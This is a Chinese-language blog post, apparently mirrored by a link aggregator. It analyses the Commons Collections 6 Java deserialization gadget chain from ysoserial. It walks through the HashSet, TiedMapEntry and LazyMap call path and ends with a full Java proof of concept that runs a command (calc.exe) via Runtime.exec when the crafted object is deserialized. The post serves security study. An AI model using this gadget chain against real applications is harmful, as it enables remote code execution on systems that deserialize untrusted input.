Java反序列化Common-Collections6利用链分析
source link: https://fanygit.github.io/2022/08/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Common-Collections6%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
上一篇分析了ysoserial
中的CC1链,这篇主要分析CC6这条链。
分析之前,先来看看CC6这条链是如何诞生的呢?
我们都知道,在CC1
这条链中,AnnotationInvocationHandler
在执行反序列化时,触发的点是memberValues.entrySet()
。
这是在JDK 8u70
之前,我们来看看JDK 8u70
之后的AnnotationInvocationHandler
类,这里用的是JDK 8u301
。
可以看到,已经将memberValues.entrySet()
换成了其他的,在JDK 8u71
更高版本中,就无法继续使用这种方式进行利用了。
那有没有一条不受JDK版本限制的链条呢?
答案肯定是有的,也就是即将准备分析的Common-Collections6
利用链。
利用链分析
首先,还是先来看看ysoserial
的cc6
利用链
看起来 还是挺长一串的,但是可以看到,命令执行的方式依旧没变,还是使用了LazyMap
的get
方法。前面的构造方式已经在《Java反序列化Common-Collections1利用链分析》中说过了,直接对后面的进行分析。
它使用了TiedMapEntry
的getValue
来触发LazyMap
的get
方法。
接下来看看哪里调用了getValue
方法
在TiedMapEntry
的hashCode
方法中调用了getValue
方法。
在HashMap
的hash
方法中找到调用hashCode
通过查找引用,可以直接在HashMap
的readObject
方法中找到
但是ysoserial
中并不是使用的HashMap
,而是使用的HashSet
,其实都是一样的,HashSet
的readObject
方法只不过是间接地调用了hashCode
。
在HashSet
的readObject
中
put中还是调用了hash
接下来对利用进行梳理,首先
AnnotationInvocationHandler->readObject
AnnotationInvocationHandler->invoke
LazyMap->get
跟CC1中的一致,原先的AnnotationInvocationHandler
类换成了TiedMapEntry
的getValue
来触发,然后在TiedMapEntry
的hashCode
调用了getValue
,而后HashMap
在readObject
中直接调用了hash
方法,最后hash
方法中调用了hashCode
方法。
HashSet
在readObject
中则是通过map.put
方法间接调用了hash
方法。
注意:这里还有一个细节问题,在创建TiedMapEntry
对象的时候,我们需要传递一个map
和一个key
这里的map就为LazyMap
的实例,而key,我们通常会随便传递一个。
如果我们直接执行,是不会弹出计算器的,这是为什么呢?
打个断点,调试一下就知道了。
在LazyMap
的get
map.containsKey(key)
是用来判断map
中是否存在key
这个值,如果不存在,会将key
存放到map中,如果存在,就不会执行transform
。
为什么会在序列化之前执行到这个方法里面去呢?
因为需要通过HashSet
来触发TiedMapEntry
的hashCode
,所以我们要将TiedMapEntry
通过add
方法添加到HashSet
中去, 那么在add
方法中,也会调用put
方法,所以也会间接调用到hash
,提前触发命令执行。
那么怎么避免呢?
其实很简单,只需要在序列化前,用map.remove(key)
将HashMap
对象中的key
移除就好了。
利用链构造
得到一条利用链
HashSet->readObject
HashMap->put
HashMap->hash
HashMap->hashCode
LazyMap->get
ChainedTransformer->transform
ConstantTransformer->transform
InvokerTransformer->transform
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class CC6Test1 {
public static void main(String[] args) throws Exception {
// 因为map.put方法会触发hash操作,会提前触发有害payload,所以先构造一个无害payload放入
Transformer[] transformers = new Transformer[]{new ConstantTransformer(1)};
// 反序列化真正执行的payload
Transformer[] fucktransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 调用Runtime 的 getMethod方法 通过getMethod方法 找到 getRuntime 方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 调用 getRuntime 返回 Runtime 对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 调用 Runtime 对象的 exec 方法 执行命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
// 将Transformer数组串联起来
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
// 通过HashMap.get方法触发transform
HashMap<Object, Object> map = new HashMap<>();
Map map1 = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map1, 11);
HashSet<Object> hashSet = new HashSet<>();
hashSet.add(tiedMapEntry);
// 绕过 map.containsKey(key)
map.remove(11);
setFieldValue(chainedTransformer, "iTransformers", fucktransformers);
byte[] serialize = Serialize(hashSet);
UnSerialize(serialize);
}
// 通过反射设置类属性
public static void setFieldValue(Object obj1, String s1, Object obj2) throws Exception{
Class clazz = obj1.getClass();
Field field = clazz.getDeclaredField(s1);
field.setAccessible(true);
field.set(obj1, obj2);
}
public static byte[] Serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void UnSerialize(byte[] bytes) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
文章逻辑可能写得有点混乱,希望大佬们多多指教。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK